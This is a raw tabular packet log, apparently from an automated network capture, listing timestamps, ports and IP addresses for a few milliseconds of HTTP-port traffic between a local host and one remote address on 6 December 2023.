Dec 6, 2023 14:50:51.138134003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.138178110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.138179064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.138223886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.138262987 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.138267994 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.138310909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.138348103 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.138354063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.138397932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.138442039 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.138443947 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.138952017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.138997078 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.138998032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.139198065 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.139236927 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.139241934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.139286995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.139329910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.139338017 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.139374971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.139419079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.139424086 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.139463902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.139504910 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.139508963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.139553070 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.139592886 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.140105963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.140151978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.140194893 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.140196085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.140239954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.140284061 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.140284061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.140326977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.140371084 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.140371084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.140414953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.140454054 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.140459061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.141139984 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.141191959 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.141201973 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.141237020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.141278982 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.141279936 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.141325951 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.141366959 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.141370058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.141413927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.141458035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.141458988 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.141504049 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.141541958 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.141989946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.142035961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.142080069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.142081022 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.142123938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.142164946 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.142196894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.142242908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.142281055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.142286062 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.142329931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.142370939 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.142373085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.142937899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.142982960 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.142986059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.143030882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.143071890 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.143076897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.143121004 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.143161058 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.143163919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.143209934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.143253088 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.143280983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.143325090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.143364906 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.143925905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.143973112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.144013882 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.144016981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.144061089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.144103050 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.144104958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.144150019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.144187927 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.144191980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.144236088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.144274950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.144279003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145026922 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145073891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145076990 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.145119905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145159960 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.145164013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145210981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145250082 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.145255089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145298004 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145339966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145343065 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.145415068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145452023 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.145819902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145953894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.145992994 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.146020889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146094084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146131039 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.146142960 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146385908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146406889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146425962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.146444082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146480083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146483898 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.146503925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146543026 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.146564960 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146600962 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146624088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146645069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.146645069 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.146680117 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.147232056 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.147253990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.147275925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.147293091 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.147310019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.147332907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.147351027 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.147370100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.147406101 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.147408009 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.147428036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.147449970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.147463083 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.148184061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.148206949 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.148224115 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.148228884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.148250103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.148263931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.148288965 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.148312092 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.148332119 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.148333073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.148355007 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.148375988 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.148391008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.148427963 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.149126053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.149148941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.149187088 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.149199009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.149219990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.149241924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.149256945 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.149265051 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.149286985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.149307013 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.149307013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.149328947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.149343014 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.150065899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.150087118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.150116920 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.150131941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.150171041 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.150193930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.150217056 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.150238991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.150250912 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.150259972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.150295019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.150299072 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.150317907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.150352955 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.151009083 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151031971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151053905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151073933 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.151074886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151097059 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151108980 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.151556969 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151576996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151599884 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.151601076 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151624918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151634932 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.151647091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151679993 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.151696920 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151719093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151741028 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151762009 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.151762962 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.151798010 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.152476072 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.152512074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.152548075 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.152558088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.152580976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.152602911 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.152623892 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.152625084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.152646065 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.152663946 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.152668953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.152690887 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.152704954 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.153461933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.153486013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.153506041 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.153508902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.153532028 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.153552055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.153553009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.153578043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.153595924 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.153600931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.153623104 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.153635979 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.153644085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.153681040 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.154347897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.154371977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.154405117 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.154407978 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.154448986 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.154472113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.154485941 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.154495001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.154515982 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.154529095 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.154551983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.154573917 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.154586077 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.155344963 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.155366898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.155389071 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.155395031 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.155411959 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.155433893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.155433893 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.155456066 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.155473948 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.155478001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.155498981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.155519962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.155520916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.155556917 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.156270027 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.156339884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.156373978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.156378031 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.156409025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.156443119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.156445026 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.156477928 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.156512976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.156522036 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.156548023 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.156584978 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.156605005 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.157258987 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.157294989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.157305002 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.157330036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.157363892 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.157363892 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.157399893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.157433033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.157435894 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.157466888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.157500029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.157509089 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.157533884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.157568932 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.158174038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158210993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158245087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158247948 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.158320904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158354998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158356905 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.158693075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158730030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158742905 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.158765078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158797979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158812046 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.158832073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158866882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158873081 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.158902884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158936977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.158945084 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.158972025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.159004927 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.159663916 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.159701109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.159734964 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.159735918 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.159770012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.159804106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.159807920 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.159837961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.159871101 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.159872055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.159905910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.159938097 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.159940958 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.160372019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160408020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160412073 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.160463095 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160497904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160499096 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.160532951 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160566092 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.160567045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160602093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160634995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160645962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.160669088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160701990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160706997 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.160747051 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160780907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.160787106 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.161346912 CET	80	49705	172.67.165.204	192.168.2.5
